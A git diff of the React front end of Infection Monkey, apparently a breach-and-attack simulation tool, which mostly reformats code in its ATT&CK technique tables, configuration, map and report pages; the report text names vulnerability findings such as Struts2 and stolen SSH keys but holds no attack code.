class T1145 extends React.Component {
@@ -10,11 +10,11 @@ class T1145 extends React.Component {
super(props);
}
- static renderSSHKeys(keys){
+ static renderSSHKeys(keys) {
let output = [];
- keys.forEach(function(keyInfo){
- output.push(
- SSH key pair used by {keyInfo['name']} user found in {keyInfo['home_dir']}
)
+ keys.forEach(function (keyInfo) {
+ output.push(
+ SSH key pair used by {keyInfo['name']} user found in {keyInfo['home_dir']}
)
});
return ({output}
);
}
@@ -22,16 +22,21 @@ class T1145 extends React.Component {
static getKeysInfoColumns() {
return ([{
columns: [
- {Header: 'Machine',
+ {
+ Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
- style: { 'whiteSpace': 'unset' }},
- {Header: 'Keys found',
+ style: {'whiteSpace': 'unset'}
+ },
+ {
+ Header: 'Keys found',
id: 'keys',
accessor: x => T1145.renderSSHKeys(x.ssh_info),
- style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ style: {'whiteSpace': 'unset'}
+ },
+ ]
+ }])
+ };
render() {
return (
@@ -40,10 +45,10 @@ class T1145 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js
index 31be117a9..acddac84a 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1188 extends React.Component {
@@ -14,20 +14,27 @@ class T1188 extends React.Component {
return ([{
Header: "Communications through multi-hop proxies",
columns: [
- {Header: 'From',
+ {
+ Header: 'From',
id: 'from',
accessor: x => renderMachineFromSystemData(x.from),
- style: { 'whiteSpace': 'unset' }},
- {Header: 'To',
+ style: {'whiteSpace': 'unset'}
+ },
+ {
+ Header: 'To',
id: 'to',
accessor: x => renderMachineFromSystemData(x.to),
- style: { 'whiteSpace': 'unset' }},
- {Header: 'Hops',
+ style: {'whiteSpace': 'unset'}
+ },
+ {
+ Header: 'Hops',
id: 'hops',
accessor: x => x.count,
- style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ style: {'whiteSpace': 'unset'}
+ },
+ ]
+ }])
+ };
render() {
return (
@@ -36,10 +43,10 @@ class T1188 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
index 8dc655aee..d82f51e3a 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js
@@ -1,37 +1,43 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine } from "./Helpers"
+import {renderMachine} from "./Helpers"
class T1210 extends React.Component {
constructor(props) {
super(props);
- this.columns = [ {Header: 'Machine',
- id: 'machine', accessor: x => renderMachine(x),
- style: { 'whiteSpace': 'unset' },
- width: 200},
- {Header: 'Time',
- id: 'time', accessor: x => x.time,
- style: { 'whiteSpace': 'unset' },
- width: 170},
- {Header: 'Usage',
- id: 'usage', accessor: x => x.usage,
- style: { 'whiteSpace': 'unset' }}
- ]
+ this.columns = [{
+ Header: 'Machine',
+ id: 'machine', accessor: x => renderMachine(x),
+ style: {'whiteSpace': 'unset'},
+ width: 200
+ },
+ {
+ Header: 'Time',
+ id: 'time', accessor: x => x.time,
+ style: {'whiteSpace': 'unset'},
+ width: 170
+ },
+ {
+ Header: 'Usage',
+ id: 'usage', accessor: x => x.usage,
+ style: {'whiteSpace': 'unset'}
+ }
+ ]
}
- renderExploitedMachines(){
- if (this.props.data.bits_jobs.length === 0){
- return (
)
+ renderExploitedMachines() {
+ if (this.props.data.bits_jobs.length === 0) {
+ return (
)
} else {
return ( )
+ columns={this.columns}
+ data={this.props.data.bits_jobs}
+ showPagination={false}
+ defaultPageSize={this.props.data.bits_jobs.length}
+ />)
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
index 9b6266efa..2a66d97bb 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine } from "./Helpers"
+import {renderMachine} from "./Helpers"
class T1210 extends React.Component {
@@ -14,40 +14,52 @@ class T1210 extends React.Component {
return ([{
Header: "Found services",
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
- style: { 'whiteSpace': 'unset' }, width: 200},
- {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
- {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100},
- {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
- ]
- }])}
+ {
+ Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: {'whiteSpace': 'unset'}, width: 200
+ },
+ {Header: 'Time', id: 'time', accessor: x => x.time, style: {'whiteSpace': 'unset'}},
+ {Header: 'Port', id: 'port', accessor: x => x.service.port, style: {'whiteSpace': 'unset'}, width: 100},
+ {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: {'whiteSpace': 'unset'}}
+ ]
+ }])
+ }
static getExploitColumns() {
return ([{
Header: "Exploited services",
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
- style: { 'whiteSpace': 'unset' }, width: 200},
- {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
- {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' },
- width: 170},
- {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
- ]
- }])};
+ {
+ Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
+ style: {'whiteSpace': 'unset'}, width: 200
+ },
+ {Header: 'Time', id: 'time', accessor: x => x.time, style: {'whiteSpace': 'unset'}},
+ {
+ Header: 'Port/url', id: 'port', accessor: x => this.renderEndpoint(x.service), style: {'whiteSpace': 'unset'},
+ width: 170
+ },
+ {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: {'whiteSpace': 'unset'}}
+ ]
+ }])
+ };
- static renderEndpoint(val){
+ static renderEndpoint(val) {
return (
{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}
)
};
- static formatScanned(data){
+ static formatScanned(data) {
let result = [];
- for(let service in data.machine.services){
- let scanned_service = {'machine': data.machine,
- 'time': data.time,
- 'service': {'port': [data.machine.services[service].port],
- 'display_name': data.machine.services[service].display_name}};
+ for (let service in data.machine.services) {
+ let scanned_service = {
+ 'machine': data.machine,
+ 'time': data.time,
+ 'service': {
+ 'port': [data.machine.services[service].port],
+ 'display_name': data.machine.services[service].display_name
+ }
+ };
result.push(scanned_service)
}
return result
@@ -58,10 +70,10 @@ class T1210 extends React.Component {
)
}
@@ -71,10 +83,10 @@ class T1210 extends React.Component {
)
}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js
index 712512bcb..4162196a5 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine, ScanStatus } from "./Helpers"
+import {renderMachine, ScanStatus} from "./Helpers"
class T1222 extends React.Component {
@@ -14,10 +14,11 @@ class T1222 extends React.Component {
return ([{
Header: "Permission modification commands",
columns: [
- {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }},
- ]
- }])};
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: {'whiteSpace': 'unset'}},
+ {Header: 'Command', id: 'command', accessor: x => x.command, style: {'whiteSpace': 'unset'}},
+ ]
+ }])
+ };
render() {
return (
@@ -26,10 +27,10 @@ class T1222 extends React.Component {
{this.props.data.status === ScanStatus.USED ?
: ""}
);
diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js
index e06043c20..06223bba1 100644
--- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js
+++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js
@@ -84,14 +84,14 @@ class InfMapPreviewPaneComponent extends PreviewPaneComponent {
unescapeLog(st) {
return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string.
- .replace(/\\n/g, "\n")
- .replace(/\\r/g, "\r")
- .replace(/\\t/g, "\t")
- .replace(/\\b/g, "\b")
- .replace(/\\f/g, "\f")
- .replace(/\\"/g, '\"')
- .replace(/\\'/g, "\'")
- .replace(/\\&/g, "\&");
+ .replace(/\\n/g, "\n")
+ .replace(/\\r/g, "\r")
+ .replace(/\\t/g, "\t")
+ .replace(/\\b/g, "\b")
+ .replace(/\\f/g, "\f")
+ .replace(/\\"/g, '\"')
+ .replace(/\\'/g, "\'")
+ .replace(/\\&/g, "\&");
}
downloadLog(asset) {
diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js
index 327d77061..3ef3ab76d 100644
--- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js
+++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js
@@ -92,14 +92,14 @@ class PreviewPaneComponent extends AuthComponent {
unescapeLog(st) {
return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string.
- .replace(/\\n/g, "\n")
- .replace(/\\r/g, "\r")
- .replace(/\\t/g, "\t")
- .replace(/\\b/g, "\b")
- .replace(/\\f/g, "\f")
- .replace(/\\"/g, '\"')
- .replace(/\\'/g, "\'")
- .replace(/\\&/g, "\&");
+ .replace(/\\n/g, "\n")
+ .replace(/\\r/g, "\r")
+ .replace(/\\t/g, "\t")
+ .replace(/\\b/g, "\b")
+ .replace(/\\f/g, "\f")
+ .replace(/\\"/g, '\"')
+ .replace(/\\'/g, "\'")
+ .replace(/\\&/g, "\&");
}
downloadLog(asset) {
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
index 43dac797c..9b9be2340 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
@@ -3,7 +3,7 @@ import Form from 'react-jsonschema-form';
import {Col, Modal, Nav, NavItem} from 'react-bootstrap';
import fileDownload from 'js-file-download';
import AuthComponent from '../AuthComponent';
-import { FilePond } from 'react-filepond';
+import {FilePond} from 'react-filepond';
import 'filepond/dist/filepond.min.css';
import MatrixComponent from "../attack/MatrixComponent";
@@ -37,7 +37,7 @@ class ConfigurePageComponent extends AuthComponent {
};
}
- getUiSchemas(){
+ getUiSchemas() {
return ({
basic: {"ui:order": ["general", "credentials"]},
basic_network: {},
@@ -94,8 +94,11 @@ class ConfigurePageComponent extends AuthComponent {
this.setInitialConfig(monkeyConfig.configuration);
this.setInitialAttackConfig(attackConfig.configuration);
for (let sectionKey of this.sectionsOrder) {
- if (sectionKey === 'attack') {sections.push({key:sectionKey, title: "ATT&CK"})}
- else {sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});}
+ if (sectionKey === 'attack') {
+ sections.push({key: sectionKey, title: "ATT&CK"})
+ } else {
+ sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});
+ }
}
this.setState({
schema: monkeyConfig.schema,
@@ -110,15 +113,15 @@ class ConfigurePageComponent extends AuthComponent {
updateConfig = () => {
this.authFetch(CONFIG_URL)
- .then(res => res.json())
- .then(data => {
- this.setInitialConfig(data.configuration);
- this.setState({configuration: data.configuration})
- })
+ .then(res => res.json())
+ .then(data => {
+ this.setInitialConfig(data.configuration);
+ this.setState({configuration: data.configuration})
+ })
};
onSubmit = () => {
- if (this.state.selectedSection === 'attack'){
+ if (this.state.selectedSection === 'attack') {
this.matrixSubmit()
} else {
this.configSubmit()
@@ -134,13 +137,14 @@ class ConfigurePageComponent extends AuthComponent {
body: JSON.stringify(this.state.attackConfig)
})
.then(res => {
- if (!res.ok)
- {
+ if (!res.ok) {
throw Error()
}
return res;
})
- .then(() => {this.setInitialAttackConfig(this.state.attackConfig);})
+ .then(() => {
+ this.setInitialAttackConfig(this.state.attackConfig);
+ })
.then(this.updateConfig())
.then(this.setState({lastAction: 'saved'}))
.catch(error => {
@@ -162,28 +166,28 @@ class ConfigurePageComponent extends AuthComponent {
this.setInitialConfig(res.configuration);
this.props.onStatusChange();
}).catch(error => {
- console.log('bad configuration');
- this.setState({lastAction: 'invalid_configuration'});
- });
+ console.log('bad configuration');
+ this.setState({lastAction: 'invalid_configuration'});
+ });
};
// Alters attack configuration when user toggles technique
- attackTechniqueChange = (technique, value, mapped=false) => {
+ attackTechniqueChange = (technique, value, mapped = false) => {
// Change value in attack configuration
// Go trough each column in matrix, searching for technique
Object.entries(this.state.attackConfig).forEach(techType => {
- if(techType[1].properties.hasOwnProperty(technique)){
+ if (techType[1].properties.hasOwnProperty(technique)) {
let tempMatrix = this.state.attackConfig;
tempMatrix[techType[0]].properties[technique].value = value;
this.setState({attackConfig: tempMatrix});
// Toggle all mapped techniques
- if (! mapped ){
+ if (!mapped) {
// Loop trough each column and each row
Object.entries(this.state.attackConfig).forEach(otherType => {
Object.entries(otherType[1].properties).forEach(otherTech => {
// If this technique depends on a technique that was changed
- if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){
+ if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)) {
this.attackTechniqueChange(otherTech[0], value, true)
}
})
@@ -207,41 +211,47 @@ class ConfigurePageComponent extends AuthComponent {
};
renderAttackAlertModal = () => {
- return ( {this.setState({showAttackAlert: false})}}>
-
- Warning
-
- You have unsubmitted changes. Submit them before proceeding.
-
-
- {this.setState({showAttackAlert: false})}} >
- Cancel
-
-
-
- )
+ return ( {
+ this.setState({showAttackAlert: false})
+ }}>
+
+
+ Warning
+
+
+ You have unsubmitted changes. Submit them before proceeding.
+
+
+ {
+ this.setState({showAttackAlert: false})
+ }}>
+ Cancel
+
+
+
+ )
};
- userChangedConfig(){
- if(JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)){
- if(Object.keys(this.currentFormData).length === 0 ||
- JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)){
+ userChangedConfig() {
+ if (JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)) {
+ if (Object.keys(this.currentFormData).length === 0 ||
+ JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)) {
return false;
}
}
return true;
}
- userChangedMatrix(){
+ userChangedMatrix() {
return (JSON.stringify(this.state.attackConfig) !== JSON.stringify(this.initialAttackConfig))
}
setSelectedSection = (key) => {
if ((key === 'attack' && this.userChangedConfig()) ||
- (this.currentSection === 'attack' && this.userChangedMatrix())){
+ (this.currentSection === 'attack' && this.userChangedMatrix())) {
this.setState({showAttackAlert: true});
return;
}
@@ -270,9 +280,11 @@ class ConfigurePageComponent extends AuthComponent {
this.setInitialConfig(res.configuration);
this.props.onStatusChange();
});
- this.authFetch(ATTACK_URL,{ method: 'POST',
- headers: {'Content-Type': 'application/json'},
- body: JSON.stringify('reset_attack_matrix')})
+ this.authFetch(ATTACK_URL, {
+ method: 'POST',
+ headers: {'Content-Type': 'application/json'},
+ body: JSON.stringify('reset_attack_matrix')
+ })
.then(res => res.json())
.then(res => {
this.setState({attackConfig: res.configuration});
@@ -280,16 +292,18 @@ class ConfigurePageComponent extends AuthComponent {
})
};
- removePBAfiles(){
+ removePBAfiles() {
// We need to clean files from widget, local state and configuration (to sync with bac end)
- if (this.PBAwindowsPond !== null){
+ if (this.PBAwindowsPond !== null) {
this.PBAwindowsPond.removeFile();
}
- if (this.PBAlinuxPond !== null){
+ if (this.PBAlinuxPond !== null) {
this.PBAlinuxPond.removeFile();
}
- let request_options = {method: 'DELETE',
- headers: {'Content-Type': 'text/plain'}};
+ let request_options = {
+ method: 'DELETE',
+ headers: {'Content-Type': 'text/plain'}
+ };
this.authFetch('/api/fileUpload/PBAlinux', request_options);
this.authFetch('/api/fileUpload/PBAwindows', request_options);
this.setState({PBAlinuxFile: [], PBAwinFile: []});
@@ -300,9 +314,12 @@ class ConfigurePageComponent extends AuthComponent {
this.setState({
configuration: JSON.parse(event.target.result),
lastAction: 'import_success'
- }, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))});
+ }, () => {
+ this.sendConfig();
+ this.setInitialConfig(JSON.parse(event.target.result))
+ });
this.currentFormData = {};
- } catch(SyntaxError) {
+ } catch (SyntaxError) {
this.setState({lastAction: 'import_failure'});
}
};
@@ -315,18 +332,17 @@ class ConfigurePageComponent extends AuthComponent {
sendConfig() {
return (
this.authFetch('/api/configuration/island',
- {
- method: 'POST',
- headers: {'Content-Type': 'application/json'},
- body: JSON.stringify(this.state.configuration)
- })
- .then(res => {
- if (!res.ok)
{
- throw Error()
- }
- return res;
- }).catch(error => {
+ method: 'POST',
+ headers: {'Content-Type': 'application/json'},
+ body: JSON.stringify(this.state.configuration)
+ })
+ .then(res => {
+ if (!res.ok) {
+ throw Error()
+ }
+ return res;
+ }).catch(error => {
console.log('bad configuration');
this.setState({lastAction: 'invalid_configuration'});
}));
@@ -355,12 +371,13 @@ class ConfigurePageComponent extends AuthComponent {
PBAwindows = () => {
return ( {
@@ -374,12 +391,13 @@ class ConfigurePageComponent extends AuthComponent {
PBAlinux = () => {
return ( {
@@ -391,23 +409,23 @@ class ConfigurePageComponent extends AuthComponent {
/>)
};
- getWinPBAfile(){
- if (this.state.PBAwinFile.length !== 0){
+ getWinPBAfile() {
+ if (this.state.PBAwinFile.length !== 0) {
return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0])
- } else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){
+ } else if (this.state.configuration.monkey.behaviour.PBA_windows_filename) {
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename)
}
}
- getLinuxPBAfile(){
- if (this.state.PBAlinuxFile.length !== 0){
+ getLinuxPBAfile() {
+ if (this.state.PBAlinuxFile.length !== 0) {
return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) {
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename)
}
}
- static getFullPBAfile(filename){
+ static getFullPBAfile(filename) {
return [{
source: filename,
options: {
@@ -416,7 +434,7 @@ class ConfigurePageComponent extends AuthComponent {
}];
}
- static getMockPBAfile(mockFile){
+ static getMockPBAfile(mockFile) {
let pbaFile = [{
source: mockFile.name,
options: {
@@ -437,39 +455,39 @@ class ConfigurePageComponent extends AuthComponent {
renderConfigContent = (displayedSchema) => {
return (
- {this.renderBasicNetworkWarning()}
-
-
)
+ {this.renderBasicNetworkWarning()}
+
+ )
};
renderRunningMonkeysWarning = () => {
return (
- { this.state.allMonkeysAreDead ?
- '' :
-
-
- Some monkeys are currently running. Note that changing the configuration will only apply to new
- infections.
-
- }
-
)
+ {this.state.allMonkeysAreDead ?
+ '' :
+
+
+ Some monkeys are currently running. Note that changing the configuration will only apply to new
+ infections.
+
+ }
+ )
};
renderBasicNetworkWarning = () => {
- if (this.state.selectedSection === 'basic_network'){
+ if (this.state.selectedSection === 'basic_network') {
return (
-
- The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
- according to its range class.
-
)
+
+ The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
+ according to its range class.
+ )
} else {
- return (
)
+ return (
)
}
};
@@ -477,8 +495,8 @@ class ConfigurePageComponent extends AuthComponent {
return (
- {this.state.sections.map(section => {section.title} )}
- )
+ {this.state.sections.map(section => {section.title} )}
+ )
};
render() {
@@ -488,9 +506,9 @@ class ConfigurePageComponent extends AuthComponent {
displayedSchema['definitions'] = this.state.schema['definitions'];
}
let content = '';
- if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0 ) {
+ if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0) {
content = this.renderMatrix()
- } else if(this.state.selectedSection !== 'attack') {
+ } else if (this.state.selectedSection !== 'attack') {
content = this.renderConfigContent(displayedSchema)
}
return (
@@ -498,8 +516,8 @@ class ConfigurePageComponent extends AuthComponent {
{this.renderAttackAlertModal()}
Monkey Configuration
{this.renderNav()}
- { this.renderRunningMonkeysWarning()}
- { content }
+ {this.renderRunningMonkeysWarning()}
+ {content}
Submit
@@ -513,37 +531,37 @@ class ConfigurePageComponent extends AuthComponent {
className="btn btn-info btn-lg" style={{margin: '5px'}}>
Import Config
-
+
Export config
- { this.state.lastAction === 'reset' ?
+ {this.state.lastAction === 'reset' ?
Configuration reset successfully.
: ''}
- { this.state.lastAction === 'saved' ?
+ {this.state.lastAction === 'saved' ?
Configuration saved successfully.
: ''}
- { this.state.lastAction === 'import_failure' ?
+ {this.state.lastAction === 'import_failure' ?
Failed importing configuration. Invalid config file.
: ''}
- { this.state.lastAction === 'invalid_configuration' ?
+ {this.state.lastAction === 'invalid_configuration' ?
An invalid configuration file was imported or submitted.
: ''}
- { this.state.lastAction === 'import_success' ?
+ {this.state.lastAction === 'import_success' ?
Configuration imported successfully.
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js b/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js
index b7a2ec077..3abd1682c 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js
@@ -18,8 +18,8 @@ class LicensePageComponent extends React.Component {
License
- Copyright 2017 Guardicore Ltd.
-
+ Copyright 2017 Guardicore Ltd.
+
Licensed under GPLv3 .
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
index 4d074c835..779a3c894 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js
@@ -52,7 +52,7 @@ class MapPageComponent extends AuthComponent {
};
updateTelemetryFromServer = () => {
- this.authFetch('/api/telemetry-feed?timestamp='+this.state.telemetryLastTimestamp)
+ this.authFetch('/api/telemetry-feed?timestamp=' + this.state.telemetryLastTimestamp)
.then(res => res.json())
.then(res => {
let newTelem = this.state.telemetry.concat(res['telemetries']);
@@ -71,8 +71,7 @@ class MapPageComponent extends AuthComponent {
this.authFetch('/api/netmap/node?id=' + event.nodes[0])
.then(res => res.json())
.then(res => this.setState({selected: res, selectedType: 'node'}));
- }
- else if (event.edges.length === 1) {
+ } else if (event.edges.length === 1) {
let displayedEdge = this.state.graph.edges.find(
function (edge) {
return edge['id'] === event.edges[0];
@@ -84,8 +83,7 @@ class MapPageComponent extends AuthComponent {
.then(res => res.json())
.then(res => this.setState({selected: res.edge, selectedType: 'edge'}));
}
- }
- else {
+ } else {
this.setState({selected: null, selectedType: null});
}
}
@@ -100,7 +98,9 @@ class MapPageComponent extends AuthComponent {
return (
this.setState({showKillDialog: false})}>
- Are you sure you want to kill all monkeys?
+
+ Are you sure you want to kill all monkeys?
+
This might take a few moments...
@@ -153,15 +153,15 @@ class MapPageComponent extends AuthComponent {
Legend:
- Exploit
+ Exploit
|
- Scan
+ Scan
|
- Tunnel
+ Tunnel
|
- Island Communication
+ Island Communication
- { this.renderTelemetryConsole() }
+ {this.renderTelemetryConsole()}
@@ -174,7 +174,8 @@ class MapPageComponent extends AuthComponent {
Monkey
Telemetry
-
this.setState({showKillDialog: true})} className="btn btn-danger pull-right" style={{'width': '48%'}}>
+ this.setState({showKillDialog: true})} className="btn btn-danger pull-right"
+ style={{'width': '48%'}}>
Kill All Monkeys
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js
index 20faafca7..66dc7e089 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js
@@ -29,15 +29,13 @@ class PassTheHashMapPageComponent extends AuthComponent {
return node['id'] === event.nodes[0];
});
this.setState({selected: displayedNode, selectedType: 'node'})
- }
- else if (event.edges.length === 1) {
+ } else if (event.edges.length === 1) {
let displayedEdge = this.state.graph.edges.find(
function (edge) {
return edge['id'] === event.edges[0];
});
- this.setState({selected: displayedEdge, selectedType: 'edge'});
- }
- else {
+ this.setState({selected: displayedEdge, selectedType: 'edge'});
+ } else {
this.setState({selected: null, selectedType: null});
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
index 68ba84aa6..c3b538c70 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
@@ -135,19 +135,21 @@ class ReportPageComponent extends AuthComponent {
} else {
content =
- {this.generateReportOverviewSection()}
- {this.generateReportFindingsSection()}
- {this.generateReportRecommendationsSection()}
- {this.generateReportGlanceSection()}
- {this.generateAttackSection()}
- {this.generateReportFooter()}
+ {this.generateReportOverviewSection()}
+ {this.generateReportFindingsSection()}
+ {this.generateReportRecommendationsSection()}
+ {this.generateReportGlanceSection()}
+ {this.generateAttackSection()}
+ {this.generateReportFooter()}
;
}
return (
-
{print();}} />
+ {
+ print();
+ }}/>
@@ -155,7 +157,9 @@ class ReportPageComponent extends AuthComponent {
{content}
-
{print();}} />
+ {
+ print();
+ }}/>
);
@@ -269,14 +273,14 @@ class ReportPageComponent extends AuthComponent {
return x === true;
}).length > 0 ?
- During this simulated attack the Monkey uncovered
{this.state.report.overview.issues.filter(function (x) {
return x === true;
}).length} threats :
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
- Stolen SSH keys are used to exploit other machines. : null }
+ Stolen SSH keys are used to exploit other machines. : null}
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
Stolen credentials are used to exploit other machines. : null}
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
@@ -309,15 +313,16 @@ class ReportPageComponent extends AuthComponent {
{this.state.report.overview.issues[this.Issue.STRUTS2] ?
Struts2 servers are vulnerable to remote code execution. (
- CVE-2017-5638 ) : null }
+ CVE-2017-5638) : null}
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
- Oracle WebLogic servers are susceptible to a remote code execution vulnerability. : null }
+ Oracle WebLogic servers are susceptible to a remote code execution vulnerability. : null}
{this.state.report.overview.issues[this.Issue.HADOOP] ?
- Hadoop/Yarn servers are vulnerable to remote code execution. : null }
+ Hadoop/Yarn servers are vulnerable to remote code execution. : null}
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
- Mimikatz found login credentials of a user who has admin access to a server defined as critical. : null }
+ Mimikatz found login credentials of a user who has admin access to a server defined as
+ critical. : null}
{this.state.report.overview.issues[this.Issue.MSSQL] ?
- MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. : null }
+ MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. : null}
:
@@ -344,7 +349,8 @@ class ReportPageComponent extends AuthComponent {
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
Weak segmentation - Machines were able to communicate over unused ports. : null}
{this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ?
- Shared local administrator account - Different machines have the same account as a local administrator. : null}
+ Shared local administrator account - Different machines have the same account as a local
+ administrator. : null}
{this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
Multiple users have the same password : null}
@@ -355,7 +361,7 @@ class ReportPageComponent extends AuthComponent {
}
- { this.state.report.overview.cross_segment_issues.length > 0 ?
+ {this.state.report.overview.cross_segment_issues.length > 0 ?
Segmentation Issues
@@ -380,14 +386,14 @@ class ReportPageComponent extends AuthComponent {
{/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise,
* don't render it (since the issues themselves will be empty. */}
{Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ?
- Domain related recommendations : null }
+ Domain related recommendations : null}
{this.generateIssues(this.state.report.recommendations.domain_issues)}
{/* Checks if there are any issues. If there are more then one: render the title. Otherwise,
* don't render it (since the issues themselves will be empty. */}
{Object.keys(this.state.report.recommendations.issues).length !== 0 ?
- Machine related recommendations : null }
+ Machine related recommendations : null}
